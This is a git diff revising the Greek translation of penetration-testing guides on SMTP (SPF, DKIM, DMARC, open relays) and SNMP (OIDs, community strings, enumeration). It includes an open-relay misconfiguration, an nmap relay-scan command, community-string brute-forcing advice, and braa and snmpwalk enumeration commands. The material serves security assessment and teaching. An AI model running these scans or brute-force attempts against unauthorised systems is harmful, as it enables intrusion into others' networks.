| Αν το όνομα τομέα έχει μια εγγραφή διεύθυνσης (A ή AAAA) που μπορεί να επιλυθεί στη διεύθυνση του αποστολέα, θα ταιριάξει. | | IP4 | Αν ο αποστολέας είναι σε μια δεδομένη περιοχή διευθύνσεων IPv4, ταιριάζει. | | IP6 | Αν ο αποστολέας είναι σε μια δεδομένη περιοχή διευθύνσεων IPv6, ταιριάζει. | -| MX | Αν το όνομα τομέα έχει μια εγγραφή MX που επιλύει στη διεύθυνση του αποστολέα, θα ταιριάξει (δηλαδή, το email προέρχεται από έναν από τους εισερχόμενους mail servers του τομέα). | -| PTR | Αν το όνομα τομέα (εγγραφή PTR) για τη διεύθυνση του πελάτη είναι στον δεδομένο τομέα και αυτό το όνομα τομέα επιλύει στη διεύθυνση του πελάτη (forward-confirmed reverse DNS), ταιριάζει. Αυτός ο μηχανισμός αποθαρρύνεται και θα πρέπει να αποφεύγεται, αν είναι δυνατόν. | -| EXISTS | Αν το δεδομένο όνομα τομέα επιλύει σε οποιαδήποτε διεύθυνση, ταιριάζει (δεν έχει σημασία η διεύθυνση στην οποία επιλύεται). Αυτό χρησιμοποιείται σπάνια. Μαζί με τη γλώσσα μακροεντολών SPF προσφέρει πιο σύνθετους ταιριάσματος όπως DNSBL-queries. | -| INCLUDE | Αναφέρεται στην πολιτική ενός άλλου τομέα. Αν η πολιτική αυτού του τομέα περάσει, αυτός ο μηχανισμός περνά. Ωστόσο, αν η συμπεριλαμβανόμενη πολιτική αποτύχει, η επεξεργασία συνεχίζεται. Για να ανατεθεί πλήρως σε μια πολιτική άλλου τομέα, πρέπει να χρησιμοποιηθεί η επέκταση ανακατεύθυνσης. | +| MX | Αν το όνομα τομέα έχει μια εγγραφή MX που επιλύεται στη διεύθυνση του αποστολέα, θα ταιριάξει (δηλαδή, το email προέρχεται από έναν από τους εισερχόμενους mail servers του τομέα). | +| PTR | Αν το όνομα τομέα (εγγραφή PTR) για τη διεύθυνση του πελάτη είναι στον δεδομένο τομέα και αυτό το όνομα τομέα επιλύεται στη διεύθυνση του πελάτη (forward-confirmed reverse DNS), ταιριάζει. Αυτός ο μηχανισμός αποθαρρύνεται και θα πρέπει να αποφεύγεται, αν είναι δυνατόν. | +| EXISTS | Αν το δεδομένο όνομα τομέα επιλύεται σε οποιαδήποτε διεύθυνση, ταιριάζει (δεν έχει σημασία ποια διεύθυνση επιλύεται). Αυτό χρησιμοποιείται σπάνια. Μαζί με τη γλώσσα μακροεντολών SPF προσφέρει πιο σύνθετους ταιριάσματος όπως DNSBL-queries. | +| INCLUDE | Αναφέρεται στην πολιτική ενός άλλου τομέα. Αν η πολιτική αυτού του τομέα περάσει, αυτός ο μηχανισμός περνά. Ωστόσο, αν η συμπεριλαμβανόμενη πολιτική αποτύχει, η επεξεργασία συνεχίζεται. Για να ανατεθεί πλήρως σε μια πολιτική άλλου τομέα, θα πρέπει να χρησιμοποιηθεί η επέκταση ανακατεύθυνσης. | | REDIRECT |

Μια ανακατεύθυνση είναι ένας δείκτης σε ένα άλλο όνομα τομέα που φιλοξενεί μια πολιτική SPF, επιτρέπει σε πολλούς τομείς να μοιράζονται την ίδια πολιτική SPF. Είναι χρήσιμη όταν εργάζεστε με μεγάλο αριθμό τομέων που μοιράζονται την ίδια υποδομή email.

Η πολιτική SPF του τομέα που υποδεικνύεται στην ανακατεύθυνση θα χρησιμοποιηθεί.

| -Είναι επίσης δυνατό να προσδιοριστούν **Ποιοτικοί δείκτες** που υποδεικνύουν **τι πρέπει να γίνει αν ταιριάξει ένας μηχανισμός**. Από προεπιλογή, χρησιμοποιείται ο **ποιοτικός δείκτης "+"** (έτσι αν ταιριάξει οποιοσδήποτε μηχανισμός, αυτό σημαίνει ότι επιτρέπεται).\ +Είναι επίσης δυνατό να προσδιοριστούν **Ποιοτικοί δείκτες** που υποδεικνύουν **τι θα πρέπει να γίνει αν ταιριάξει ένας μηχανισμός**. Από προεπιλογή, χρησιμοποιείται ο **ποιοτικός δείκτης "+"** (έτσι αν ταιριάξει οποιοσδήποτε μηχανισμός, αυτό σημαίνει ότι επιτρέπεται).\ Συνήθως θα παρατηρήσετε **στο τέλος κάθε πολιτικής SPF** κάτι σαν: **\~all** ή **-all**. Αυτό χρησιμοποιείται για να υποδείξει ότι **αν ο αποστολέας δεν ταιριάζει με καμία πολιτική SPF, θα πρέπει να επισημανθεί το email ως μη αξιόπιστο (\~) ή να απορριφθεί (-) το email.** #### Ποιοτικοί δείκτες -Κάθε μηχανισμός εντός της πολιτικής μπορεί να έχει πρόθεμα έναν από τους τέσσερις ποιοτικούς δείκτες για να καθορίσει το επιθυμητό αποτέλεσμα: +Κάθε μηχανισμός εντός της πολιτικής μπορεί να έχει προθετικά ένα από τους τέσσερις ποιοτικούς δείκτες για να καθορίσει το επιθυμητό αποτέλεσμα: - **`+`**: Αντιστοιχεί σε ένα αποτέλεσμα PASS. Από προεπιλογή, οι μηχανισμοί υποθέτουν αυτόν τον ποιοτικό δείκτη, κάνοντάς το `+mx` ισοδύναμο με `mx`. - **`?`**: Αντιπροσωπεύει ένα αποτέλεσμα NEUTRAL, που αντιμετωπίζεται παρόμοια με το NONE (καμία συγκεκριμένη πολιτική). -- **`~`**: Υποδηλώνει SOFTFAIL, λειτουργώντας ως ενδιάμεσος χώρος μεταξύ NEUTRAL και FAIL. Τα emails που πληρούν αυτό το αποτέλεσμα γίνονται συνήθως αποδεκτά αλλά επισημαίνονται αναλόγως. +- **`~`**: Υποδηλώνει SOFTFAIL, λειτουργώντας ως ενδιάμεσος όρος μεταξύ NEUTRAL και FAIL. Τα emails που πληρούν αυτό το αποτέλεσμα γίνονται συνήθως αποδεκτά αλλά επισημαίνονται αναλόγως. - **`-`**: Υποδηλώνει FAIL, προτείνοντας ότι το email θα πρέπει να απορριφθεί εντελώς. Στο επόμενο παράδειγμα, απεικονίζεται η **πολιτική SPF του google.com**. Σημειώστε την συμπερίληψη πολιτικών SPF από διαφορετικούς τομείς εντός της πρώτης πολιτικής SPF: @@ -294,7 +294,7 @@ _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:1 Το DKIM χρησιμοποιείται για να υπογράφει τα εξερχόμενα emails, επιτρέποντας την επικύρωσή τους από εξωτερικούς Mail Transfer Agents (MTAs) μέσω της ανάκτησης του δημόσιου κλειδιού του τομέα από το DNS. Αυτό το δημόσιο κλειδί βρίσκεται στο TXT record ενός τομέα. Για να αποκτήσετε αυτό το κλειδί, πρέπει να γνωρίζετε τόσο τον επιλεγέα όσο και το όνομα του τομέα. -Για παράδειγμα, για να ζητήσετε το κλειδί, το όνομα του τομέα και ο επιλεγέας είναι απαραίτητα. Αυτά μπορούν να βρεθούν στην κεφαλίδα του email `DKIM-Signature`, π.χ., `d=gmail.com;s=20120113`. +Για παράδειγμα, για να ζητήσετε το κλειδί, το όνομα του τομέα και ο επιλεγέας είναι απαραίτητα. Αυτά μπορούν να βρεθούν στην κεφαλίδα email `DKIM-Signature`, π.χ., `d=gmail.com;s=20120113`. Μια εντολή για να ανακτήσετε αυτές τις πληροφορίες μπορεί να μοιάζει με: ```bash @@ -324,40 +324,40 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA | Tag Name | Purpose | Sample | | -------- | --------------------------------------------- | ------------------------------- | -| v | Έκδοση πρωτοκόλλου | v=DMARC1 | -| pct | Ποσοστό μηνυμάτων που υπόκεινται σε φιλτράρισμα | pct=20 | -| ruf | URI αναφοράς για εγκληματολογικές αναφορές | ruf=mailto:authfail@example.com | -| rua | URI αναφοράς για συνοπτικές αναφορές | rua=mailto:aggrep@example.com | -| p | Πολιτική για τον οργανωτικό τομέα | p=quarantine | -| sp | Πολιτική για υποτομείς του OD | sp=reject | -| adkim | Λειτουργία ευθυγράμμισης για DKIM | adkim=s | -| aspf | Λειτουργία ευθυγράμμισης για SPF | aspf=r | +| v | Protocol version | v=DMARC1 | +| pct | Percentage of messages subjected to filtering | pct=20 | +| ruf | Reporting URI for forensic reports | ruf=mailto:authfail@example.com | +| rua | Reporting URI of aggregate reports | rua=mailto:aggrep@example.com | +| p | Policy for organizational domain | p=quarantine | +| sp | Policy for subdomains of the OD | sp=reject | +| adkim | Alignment mode for DKIM | adkim=s | +| aspf | Alignment mode for SPF | aspf=r | -### **Τι γίνεται με τους Υποτομείς;** +### **Τι γίνεται με τα Υποτομείς;** **Από** [**εδώ**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ -Πρέπει να έχετε ξεχωριστές εγγραφές SPF για κάθε υποτομέα από τον οποίο θέλετε να στείλετε email.\ +Πρέπει να έχετε ξεχωριστά SPF records για κάθε υποτομέα από τον οποίο θέλετε να στείλετε email.\ Το παρακάτω είχε αρχικά δημοσιευτεί στο openspf.org, το οποίο ήταν μια εξαιρετική πηγή για αυτό το είδος πληροφοριών. > Η Ερώτηση του Demon: Τι γίνεται με τους υποτομείς; > -> Αν λάβω email από pielovers.demon.co.uk, και δεν υπάρχουν δεδομένα SPF για pielovers, πρέπει να επιστρέψω ένα επίπεδο και να ελέγξω το SPF για demon.co.uk; Όχι. Κάθε υποτομέας στο Demon είναι διαφορετικός πελάτης, και κάθε πελάτης μπορεί να έχει τη δική του πολιτική. Δεν θα είχε νόημα η πολιτική του Demon να ισχύει για όλους τους πελάτες του από προεπιλογή; Αν το Demon θέλει να το κάνει αυτό, μπορεί να ρυθμίσει εγγραφές SPF για κάθε υποτομέα. +> Αν λάβω email από το pielovers.demon.co.uk, και δεν υπάρχουν δεδομένα SPF για το pielovers, πρέπει να επιστρέψω ένα επίπεδο και να ελέγξω το SPF για το demon.co.uk; Όχι. Κάθε υποτομέας στο Demon είναι διαφορετικός πελάτης, και κάθε πελάτης μπορεί να έχει τη δική του πολιτική. Δεν θα είχε νόημα η πολιτική του Demon να ισχύει για όλους τους πελάτες του από προεπιλογή; Αν το Demon θέλει να το κάνει αυτό, μπορεί να ρυθμίσει SPF records για κάθε υποτομέα. > -> Έτσι, η συμβουλή προς τους εκδότες SPF είναι αυτή: θα πρέπει να προσθέσετε μια εγγραφή SPF για κάθε υποτομέα ή όνομα υπολογιστή που έχει εγγραφή A ή MX. +> Έτσι, η συμβουλή προς τους εκδότες SPF είναι αυτή: θα πρέπει να προσθέσετε ένα SPF record για κάθε υποτομέα ή hostname που έχει A ή MX record. > -> Ιστοσελίδες με wildcard A ή MX εγγραφές θα πρέπει επίσης να έχουν μια wildcard SPF εγγραφή, της μορφής: \* IN TXT "v=spf1 -all" +> Οι ιστότοποι με wildcard A ή MX records θα πρέπει επίσης να έχουν ένα wildcard SPF record, της μορφής: \* IN TXT "v=spf1 -all" Αυτό έχει νόημα - ένας υποτομέας μπορεί πολύ καλά να βρίσκεται σε διαφορετική γεωγραφική τοποθεσία και να έχει πολύ διαφορετικό ορισμό SPF. -### **Open Relay** +### **Ανοιχτός Διακομιστής Relay** -Όταν αποστέλλονται emails, η διασφάλιση ότι δεν θα χαρακτηριστούν ως spam είναι κρίσιμη. Αυτό συχνά επιτυγχάνεται μέσω της χρήσης ενός **relay server που είναι αξιόπιστος από τον παραλήπτη**. Ωστόσο, μια κοινή πρόκληση είναι ότι οι διαχειριστές μπορεί να μην είναι πλήρως ενήμεροι για ποιες **IP διευθύνσεις είναι ασφαλείς να επιτραπούν**. Αυτή η έλλειψη κατανόησης μπορεί να οδηγήσει σε λάθη στη ρύθμιση του SMTP server, ένας κίνδυνος που συχνά εντοπίζεται σε αξιολογήσεις ασφάλειας. +Όταν αποστέλλονται emails, η διασφάλιση ότι δεν θα χαρακτηριστούν ως spam είναι κρίσιμη. Αυτό συχνά επιτυγχάνεται μέσω της χρήσης ενός **διακομιστή relay που είναι αξιόπιστος από τον παραλήπτη**. Ωστόσο, μια κοινή πρόκληση είναι ότι οι διαχειριστές μπορεί να μην είναι πλήρως ενήμεροι για ποιες **IP διευθύνσεις είναι ασφαλείς να επιτραπούν**. Αυτή η έλλειψη κατανόησης μπορεί να οδηγήσει σε λάθη στη ρύθμιση του SMTP server, ένας κίνδυνος που συχνά εντοπίζεται σε αξιολογήσεις ασφάλειας. Μια λύση που χρησιμοποιούν ορισμένοι διαχειριστές για να αποφύγουν προβλήματα παράδοσης email, ειδικά όσον αφορά τις επικοινωνίες με πιθανούς ή τρέχοντες πελάτες, είναι να **επιτρέπουν συνδέσεις από οποιαδήποτε IP διεύθυνση**. Αυτό γίνεται ρυθμίζοντας την παράμετρο `mynetworks` του SMTP server να αποδέχεται όλες τις IP διευθύνσεις, όπως φαίνεται παρακάτω: ```bash mynetworks = 0.0.0.0/0 ``` -Για να ελέγξετε αν ένας διακομιστής αλληλογραφίας είναι ανοιχτός διαμεσολαβητής (που σημαίνει ότι θα μπορούσε να προωθήσει email από οποιαδήποτε εξωτερική πηγή), το εργαλείο `nmap` χρησιμοποιείται συνήθως. Περιλαμβάνει ένα συγκεκριμένο σενάριο σχεδιασμένο για να δοκιμάσει αυτό. Η εντολή για να διεξάγετε μια λεπτομερή σάρωση σε έναν διακομιστή (για παράδειγμα, με IP 10.10.10.10) στην πόρτα 25 χρησιμοποιώντας το `nmap` είναι: +Για να ελέγξετε αν ένας διακομιστής αλληλογραφίας είναι ανοιχτός διαμεσολαβητής (που σημαίνει ότι θα μπορούσε να προωθήσει email από οποιαδήποτε εξωτερική πηγή), το εργαλείο `nmap` χρησιμοποιείται συνήθως. Περιλαμβάνει ένα συγκεκριμένο σενάριο σχεδιασμένο για να το δοκιμάσει. Η εντολή για να διεξάγετε μια λεπτομερή σάρωση σε έναν διακομιστή (για παράδειγμα, με IP 10.10.10.10) στην πόρτα 25 χρησιμοποιώντας το `nmap` είναι: ```bash nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` @@ -485,7 +485,7 @@ s.sendmail(sender, [destination], msg_data) - Υποψίες (ασυνήθιστες) συνημμένες - Σπασμένο περιεχόμενο email - Τιμές που χρησιμοποιούνται που διαφέρουν από αυτές των κεφαλίδων του email -- Ύπαρξη έγκυρου και αξιόπιστου πιστοποιητικού SSL +- Ύπαρξη έγκυρου και αξιόπιστου SSL πιστοποιητικού - Υποβολή της σελίδας σε ιστότοπους φιλτραρίσματος περιεχομένου ## Εξαγωγή μέσω SMTP @@ -520,7 +520,7 @@ Description: Notes for SMTP Note: | SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server. -https://book.hacktricks.xyz/pentesting/pentesting-smtp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md index 23e8cb55e..ea7eb3772 100644 --- a/src/network-services-pentesting/pentesting-snmp/README.md +++ b/src/network-services-pentesting/pentesting-snmp/README.md @@ -5,7 +5,7 @@ ## Basic Information -**SNMP - Απλό Πρωτόκολλο Διαχείρισης Δικτύου** είναι ένα πρωτόκολλο που χρησιμοποιείται για την παρακολούθηση διαφόρων συσκευών στο δίκτυο (όπως δρομολογητές, διακόπτες, εκτυπωτές, IoTs...). +**SNMP - Simple Network Management Protocol** είναι ένα πρωτόκολλο που χρησιμοποιείται για την παρακολούθηση διαφόρων συσκευών στο δίκτυο (όπως δρομολογητές, διακόπτες, εκτυπωτές, IoTs...). ``` PORT STATE SERVICE REASON VERSION 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) @@ -15,23 +15,23 @@ PORT STATE SERVICE REASON VERSION ### MIB -Για να διασφαλιστεί ότι η πρόσβαση SNMP λειτουργεί σε διάφορους κατασκευαστές και με διαφορετικούς συνδυασμούς πελάτη-διακομιστή, δημιουργήθηκε η **Management Information Base (MIB)**. Η MIB είναι μια **ανεξάρτητη μορφή αποθήκευσης πληροφοριών συσκευών**. Μια MIB είναι ένα **κείμενο** αρχείο στο οποίο αναφέρονται όλα τα ερωτήσιμα **SNMP αντικείμενα** μιας συσκευής σε μια **τυποποιημένη** ιεραρχία δέντρου. Περιέχει τουλάχιστον ένα `Object Identifier` (`OID`), το οποίο, εκτός από τη απαραίτητη **μοναδική διεύθυνση** και ένα **όνομα**, παρέχει επίσης πληροφορίες σχετικά με τον τύπο, τα δικαιώματα πρόσβασης και μια περιγραφή του αντίστοιχου αντικειμένου.\ +Για να διασφαλιστεί ότι η πρόσβαση SNMP λειτουργεί σε διάφορους κατασκευαστές και με διαφορετικούς συνδυασμούς πελάτη-διακομιστή, δημιουργήθηκε η **Βάση Πληροφοριών Διαχείρισης (MIB)**. Η MIB είναι μια **ανεξάρτητη μορφή αποθήκευσης πληροφοριών συσκευών**. Μια MIB είναι ένα **αρχείο κειμένου** στο οποίο αναφέρονται όλα τα ερωτήσιμα **SNMP αντικείμενα** μιας συσκευής σε μια **τυποποιημένη** ιεραρχία δέντρου. Περιέχει τουλάχιστον ένα `Object Identifier` (`OID`), το οποίο, εκτός από τη απαραίτητη **μοναδική διεύθυνση** και ένα **όνομα**, παρέχει επίσης πληροφορίες σχετικά με τον τύπο, τα δικαιώματα πρόσβασης και μια περιγραφή του αντίστοιχου αντικειμένου.\ Τα αρχεία MIB γράφονται σε μορφή ASCII κειμένου `Abstract Syntax Notation One` (`ASN.1`). Οι **MIBs δεν περιέχουν δεδομένα**, αλλά εξηγούν **πού να βρείτε ποιες πληροφορίες** και πώς φαίνονται, ποιες τιμές επιστρέφουν για το συγκεκριμένο OID ή ποιος τύπος δεδομένων χρησιμοποιείται. ### OIDs -**Object Identifiers (OIDs)** παίζουν κρίσιμο ρόλο. Αυτοί οι μοναδικοί αναγνωριστές έχουν σχεδιαστεί για να διαχειρίζονται αντικείμενα εντός μιας **Management Information Base (MIB)**. +**Object Identifiers (OIDs)** παίζουν κρίσιμο ρόλο. Αυτοί οι μοναδικοί αναγνωριστές έχουν σχεδιαστεί για να διαχειρίζονται αντικείμενα εντός μιας **Βάσης Πληροφοριών Διαχείρισης (MIB)**. -Τα υψηλότερα επίπεδα των MIB object IDs, ή OIDs, έχουν κατανεμηθεί σε διάφορους οργανισμούς τυποποίησης. Είναι σε αυτά τα κορυφαία επίπεδα που καθορίζεται το πλαίσιο για τις παγκόσμιες πρακτικές και πρότυπα διαχείρισης. +Τα υψηλότερα επίπεδα των αναγνωριστικών αντικειμένων MIB, ή OIDs, έχουν κατανεμηθεί σε διάφορους οργανισμούς τυποποίησης. Είναι σε αυτά τα κορυφαία επίπεδα που καθορίζεται το πλαίσιο για τις παγκόσμιες πρακτικές και τα πρότυπα διαχείρισης. -Επιπλέον, οι προμηθευτές έχουν την ελευθερία να δημιουργούν ιδιωτικούς κλάδους. Μέσα σε αυτούς τους κλάδους, έχουν την **αυτονομία να συμπεριλαμβάνουν διαχειριζόμενα αντικείμενα που σχετίζονται με τις δικές τους γραμμές προϊόντων**. Αυτό το σύστημα διασφαλίζει ότι υπάρχει μια δομημένη και οργανωμένη μέθοδος για την αναγνώριση και διαχείριση μιας ευρείας γκάμας αντικειμένων σε διάφορους προμηθευτές και πρότυπα. +Επιπλέον, οι προμηθευτές έχουν την ελευθερία να δημιουργούν ιδιωτικούς κλάδους. Μέσα σε αυτούς τους κλάδους, έχουν την **αυτονομία να συμπεριλαμβάνουν διαχειριζόμενα αντικείμενα που σχετίζονται με τις δικές τους γραμμές προϊόντων**. Αυτό το σύστημα διασφαλίζει ότι υπάρχει μια δομημένη και οργανωμένη μέθοδος για την αναγνώριση και τη διαχείριση μιας ευρείας γκάμας αντικειμένων σε διάφορους προμηθευτές και πρότυπα. ![](<../../images/SNMP_OID_MIB_Tree (1).png>) -Μπορείτε να **πλοηγηθείτε** μέσω ενός **OID δέντρου** από τον ιστό εδώ: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ή **να δείτε τι σημαίνει ένα OID** (όπως το `1.3.6.1.2.1.1`) επισκεπτόμενοι [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ -Υπάρχουν μερικά **καλά γνωστά OIDs** όπως αυτά μέσα στο [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) που αναφέρονται σε μεταβλητές του Simple Network Management Protocol (SNMP) που ορίζονται από το MIB-2. Και από τα **OIDs που εκκρεμούν από αυτό** μπορείτε να αποκτήσετε μερικά ενδιαφέροντα δεδομένα φιλοξενίας (δεδομένα συστήματος, δεδομένα δικτύου, δεδομένα διαδικασιών...) +Μπορείτε να **πλοηγηθείτε** σε ένα **δέντρο OID** από τον ιστό εδώ: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ή **να δείτε τι σημαίνει ένα OID** (όπως το `1.3.6.1.2.1.1`) αποκτώντας πρόσβαση [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ +Υπάρχουν μερικά **γνωστά OIDs** όπως αυτά μέσα στο [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) που αναφέρονται σε μεταβλητές του Πρωτοκόλλου Απλής Διαχείρισης Δικτύου (SNMP) που ορίζονται από το MIB-2. Και από τα **OIDs που εκκρεμούν από αυτό** μπορείτε να αποκτήσετε μερικά ενδιαφέροντα δεδομένα φιλοξενίας (δεδομένα συστήματος, δεδομένα δικτύου, δεδομένα διαδικασιών...) -### **OID Παράδειγμα** +### **Παράδειγμα OID** [**Παράδειγμα από εδώ**](https://www.netadmintools.com/snmp-mib-and-oids/): @@ -39,7 +39,7 @@ PORT STATE SERVICE REASON VERSION Ακολουθεί μια ανάλυση αυτής της διεύθυνσης. -- 1 – αυτό ονομάζεται ISO και καθορίζει ότι αυτό είναι ένα OID. Γι' αυτό όλοι οι OIDs ξεκινούν με “1” +- 1 – αυτό ονομάζεται ISO και καθορίζει ότι αυτό είναι ένα OID. Γι' αυτό όλοι οι OIDs ξεκινούν με "1" - 3 – αυτό ονομάζεται ORG και χρησιμοποιείται για να προσδιορίσει τον οργανισμό που κατασκεύασε τη συσκευή. - 6 – αυτό είναι το dod ή το Υπουργείο Άμυνας, το οποίο είναι ο οργανισμός που καθόρισε πρώτος το Διαδίκτυο. - 1 – αυτή είναι η τιμή του διαδικτύου για να δηλώσει ότι όλες οι επικοινωνίες θα γίνονται μέσω του Διαδικτύου. @@ -64,27 +64,27 @@ PORT STATE SERVICE REASON VERSION - 4 – αριθμός σημείου - 7 – κατάσταση του σημείου -### SNMP Versions +### Εκδόσεις SNMP Υπάρχουν 2 σημαντικές εκδόσεις του SNMP: -- **SNMPv1**: Η κύρια, είναι ακόμα η πιο συχνή, η **αυθεντικοποίηση βασίζεται σε μια συμβολοσειρά** (community string) που ταξιδεύει σε **καθαρό κείμενο** (όλες οι πληροφορίες ταξιδεύουν σε καθαρό κείμενο). Οι **Εκδόσεις 2 και 2c** στέλνουν επίσης την **κίνηση σε καθαρό κείμενο** και χρησιμοποιούν μια **community string ως αυθεντικοποίηση**. +- **SNMPv1**: Η κύρια, είναι ακόμα η πιο συχνή, η **αυθεντικοποίηση βασίζεται σε μια συμβολοσειρά** (community string) που ταξιδεύει σε **καθαρό κείμενο** (όλες οι πληροφορίες ταξιδεύουν σε καθαρό κείμενο). **Η Έκδοση 2 και 2c** στέλνουν επίσης την **κίνηση σε καθαρό κείμενο** και χρησιμοποιούν μια **συμβολοσειρά κοινότητας ως αυθεντικοποίηση**. - **SNMPv3**: Χρησιμοποιεί μια καλύτερη **μορφή αυθεντικοποίησης** και οι πληροφορίες ταξιδεύουν **κρυπτογραφημένες** (μπορεί να εκτελεστεί **επίθεση λεξικού**, αλλά θα ήταν πολύ πιο δύσκολο να βρείτε τα σωστά διαπιστευτήρια από ότι στο SNMPv1 και v2). -### Community Strings +### Συμβολοσειρές Κοινότητας -Όπως αναφέρθηκε προηγουμένως, **για να αποκτήσετε πρόσβαση στις πληροφορίες που αποθηκεύονται στη MIB πρέπει να γνωρίζετε τη community string στις εκδόσεις 1 και 2/2c και τα διαπιστευτήρια στην έκδοση 3.**\ -Υπάρχουν **2 τύποι community strings**: +Όπως αναφέρθηκε προηγουμένως, **για να αποκτήσετε πρόσβαση στις πληροφορίες που αποθηκεύονται στη MIB πρέπει να γνωρίζετε τη συμβολοσειρά κοινότητας στις εκδόσεις 1 και 2/2c και τα διαπιστευτήρια στην έκδοση 3.**\ +Υπάρχουν **2 τύποι συμβολοσειρών κοινότητας**: - **`public`** κυρίως **λειτουργίες μόνο για ανάγνωση** - **`private`** **Ανάγνωση/Εγγραφή** γενικά -Σημειώστε ότι **η δυνατότητα εγγραφής ενός OID εξαρτάται από τη χρησιμοποιούμενη community string**, οπότε **ακόμα** και αν βρείτε ότι χρησιμοποιείται το "**public**", θα μπορούσατε να είστε σε θέση να **γράψετε κάποιες τιμές.** Επίσης, μπορεί να υπάρχουν αντικείμενα που είναι **πάντα "Μόνο για Ανάγνωση".**\ +Σημειώστε ότι **η δυνατότητα εγγραφής ενός OID εξαρτάται από τη συμβολοσειρά κοινότητας που χρησιμοποιείται**, οπότε **ακόμα** και αν βρείτε ότι χρησιμοποιείται το "**public**", θα μπορούσατε να είστε σε θέση να **γράψετε κάποιες τιμές.** Επίσης, μπορεί να υπάρχουν αντικείμενα που είναι **πάντα "Μόνο για Ανάγνωση".**\ Αν προσπαθήσετε να **γράψετε** ένα αντικείμενο, θα λάβετε ένα σφάλμα **`noSuchName` ή `readOnly`**.\*\*.\*\* -Στις εκδόσεις 1 και 2/2c, αν χρησιμοποιήσετε μια **κακή** community string, ο διακομιστής δεν θα **απαντήσει**. Έτσι, αν απαντήσει, χρησιμοποιήθηκε μια **έγκυρη community string**. +Στις εκδόσεις 1 και 2/2c, αν χρησιμοποιήσετε μια **κακή** συμβολοσειρά κοινότητας, ο διακομιστής δεν θα **απαντήσει**. Έτσι, αν απαντήσει, χρησιμοποιήθηκε μια **έγκυρη συμβολοσειρά κοινότητας**. -## Ports +## Θύρες [Από τη Wikipedia](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol): @@ -94,9 +94,9 @@ PORT STATE SERVICE REASON VERSION ## Brute-Force Community String (v1 και v2c) -Για να **μαντέψετε τη community string** μπορείτε να εκτελέσετε μια επίθεση λεξικού. Δείτε [εδώ διάφορους τρόπους για να εκτελέσετε μια επίθεση brute-force κατά του SNMP](../../generic-hacking/brute-force.md#snmp). Μια συχνά χρησιμοποιούμενη community string είναι το `public`. +Για να **μαντέψετε τη συμβολοσειρά κοινότητας** μπορείτε να εκτελέσετε μια επίθεση λεξικού. Δείτε [εδώ διάφορους τρόπους για να εκτελέσετε μια επίθεση brute-force κατά του SNMP](../../generic-hacking/brute-force.md#snmp). Μια συχνά χρησιμοποιούμενη συμβολοσειρά κοινότητας είναι το `public`. -## Enumerating SNMP +## Απαρίθμηση SNMP Συνιστάται να εγκαταστήσετε τα παρακάτω για να δείτε τι σημαίνει **κάθε OID που συλλέγεται** από τη συσκευή: ```bash @@ -121,7 +121,7 @@ nmap --script "snmp* and not snmp-brute" braa @:.1.3.6.* #Bruteforce specific OID ``` -Χάρη στις εκτενείς ερωτήσεις (download-mibs), είναι δυνατή η καταμέτρηση ακόμη περισσότερων πληροφοριών σχετικά με το σύστημα με την ακόλουθη εντολή: +Χάρη στις εκτενείς ερωτήσεις (download-mibs), είναι δυνατόν να καταγράψετε ακόμη περισσότερα σχετικά με το σύστημα με την ακόλουθη εντολή : ```bash snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ``` @@ -135,9 +135,9 @@ snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ### Ρυθμίσεις Πρόσβασης -Δύο κύριες ρυθμίσεις επιτρέπουν την πρόσβαση στο **πλήρες δέντρο OID**, το οποίο είναι ένα κρίσιμο συστατικό στη διαχείριση δικτύου: +Δύο κύριες ρυθμίσεις επιτρέπουν την πρόσβαση στο **πλήρες δέντρο OID**, το οποίο είναι ένα κρίσιμο στοιχείο στη διαχείριση δικτύου: -1. **`rwuser noauth`** έχει ρυθμιστεί για να επιτρέπει πλήρη πρόσβαση στο δέντρο OID χωρίς την ανάγκη αυθεντικοποίησης. Αυτή η ρύθμιση είναι απλή και επιτρέπει απεριόριστη πρόσβαση. +1. **`rwuser noauth`** είναι ρυθμισμένο ώστε να επιτρέπει πλήρη πρόσβαση στο δέντρο OID χωρίς την ανάγκη αυθεντικοποίησης. Αυτή η ρύθμιση είναι απλή και επιτρέπει απεριόριστη πρόσβαση. 2. Για πιο συγκεκριμένο έλεγχο, η πρόσβαση μπορεί να παραχωρηθεί χρησιμοποιώντας: - **`rwcommunity`** για διευθύνσεις **IPv4**, και - **`rwcommunity6`** για διευθύνσεις **IPv6**. @@ -148,13 +148,13 @@ snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull Μια σειρά από **τιμές Management Information Base (MIB)** χρησιμοποιούνται για την παρακολούθηση διαφόρων πτυχών ενός συστήματος Windows μέσω SNMP: -- **Διεργασίες Συστήματος**: Πρόσβαση μέσω `1.3.6.1.2.1.25.1.6.0`, αυτή η παράμετρος επιτρέπει την παρακολούθηση ενεργών διεργασιών μέσα στο σύστημα. +- **Διεργασίες Συστήματος**: Πρόσβαση μέσω `1.3.6.1.2.1.25.1.6.0`, αυτή η παράμετρος επιτρέπει την παρακολούθηση ενεργών διεργασιών εντός του συστήματος. - **Εκτελούμενα Προγράμματα**: Η τιμή `1.3.6.1.2.1.25.4.2.1.2` έχει οριστεί για την 